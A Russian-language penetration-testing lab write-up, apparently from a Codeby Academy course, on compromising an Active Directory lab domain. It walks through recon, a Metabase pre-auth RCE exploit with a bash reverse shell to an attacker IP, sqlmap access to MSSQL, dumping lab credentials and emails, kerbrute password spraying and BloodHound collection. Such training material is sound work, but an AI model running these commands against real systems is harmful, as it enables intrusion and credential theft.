Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай
Всех приветствую! Без лишних слов продолжаем тыкать АДшку=)
сеть 10.120.0.0/24
Не удалось прогрузить медиа
Запускаем всю сетку сканиться. Запущу еще просканить отдельно 53 (dns), 88 (kerberos)
Не удалось прогрузить медиа
Скорее всего 10.120.0.10 - это KDC. Дополнительно просканируем его nmap с опцией -Sv.
Не удалось прогрузить медиа
ldap, цербер всё шо нужно есть - это KDC значит.
Что ж проведем небольшую разведку.
Не удалось прогрузить медиа
Таким образом домен: COMP20.LOCAL
И есть следующие хосты 10.120.0.21 (SQL.COMP20.LOCAL), 10.120.0.50 (TERMINAL.COMP20.LOCAL), 10.120.0.22 (BACKUP.COMP20.LOCAL), 10.120.0.10 (DC.COMP20.LOCAL). И да мы были правы что *.10 - это KDC на котором работает цербер днс и прочая шляпа. Один момент.
Не удалось прогрузить медиа
Не пингуется. Нам нужно добавить DNS сервер.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Найс. Теперь синхронизируем время с KDC, вдруг мы захотим тикеты себе повыписывать. Kerberos как мы знаем использует timestamp и не работает с ip адресами. Именно поэтому мы проделали эту процедуру.
Не удалось прогрузить медиа
Ну что ж идем дальше. На 3000 порту торчит веб приложение
Не удалось прогрузить медиа
Не удалось прогрузить медиа
О да, походу уязвимое. Глянем что из себя представляет RCE.
Не удалось прогрузить медиа
Нужно перейти по следующему пути /api/session/properties и скопировать значение setup-token
Не удалось прогрузить медиа
git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc.git - Пулим себе эксплоит.
rlwrap nc -nvlp 4433 - Запуск листенера на kali
python3 main.py -u http://10.120.0.80:3000/ -t 633909c0-92a5-4a25-b857-aaeb1a3c8066 -c "bash -i >& /dev/ tcp/10.0.0.76/4433 0>&1" - Получение шела
Но это лишь в идеале. На деле мне шелл не прилетел=) Хрен его знает почему. (я не тупой и перепробовал разные порты и айпи менял на свой). Должно было получиться вот так.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Забираем креды
metabaseM3taP@ssНе удалось прогрузить медиа
Это не доменная учетка, что логично. Поэтому используем флаг --local-auth
И так мы имеем на руках доступ к mssql. Вопрос как туда подключиться.
Не удалось прогрузить медиа
Можно конечно использовать гуишку, но это дерьмо полное. У меня прям кровь из глаз пошла. Все же знают такой интересный инструмент "sqlmap", но я думаю мало кто знает, что с помощью него можно подключаться к бд=)
sudo sqlmap -d mssql://[user]:[pass]@ip:port/Не удалось прогрузить медиа
Не удалось прогрузить медиа
Флаг получен, но это херь. Нам нужны учетки.
Не удалось прогрузить медиа
sudo sqlmap -d mssql://metabase:M3taP@[email protected]:1433/ --search -D control_projects -C mailо, да хоть настроение чуть поднялось=) flag мы уже просмотрели, осталась еще одна несистемная бд - control_projects и мы там нашли колонку "email". Почему именно ее я стал искать???
Не удалось прогрузить медиа
Логично, что мыла хранятся в бд. Ну так вот
Не удалось прогрузить медиа
Сдампили всю таблицу. Теперь мы понимаем кого нужно ломать=)))
Перечислим пользователей, которые действительно существуют в домене.
Не удалось прогрузить медиа
Спойлер: Учетки
[email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
AppT3tsP4ss - получили из базы данных.
/root/Local/kerbrute_linux_amd64 userenum -d comp20.local --dc 10.120.0.10 /home/username/codeby/laba15/users.txt - проверили реальные ли пользователи или нет./root/Local/kerbrute_linux_amd64 passwordspray -d comp20.local --dc 10.120.0.10 /home/username/codeby/laba15/users.txt 'AppT3tsP4ss' - перебрали пользователей по паролю и получили учеткуnxc ldap DC.COMP20.LOCAL -u 'apptest' -p 'AppT3tsP4ss' --bloodhound --dns-server 10.120.0.10 -c ALL -k - собираем базу для bloodhound.Запускаем хаунд
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Смотрим хаунда и как бы находим GenericWrite
Не удалось прогрузить медиа
👍53
🔥16
😁4
👏4
😢11
LIMB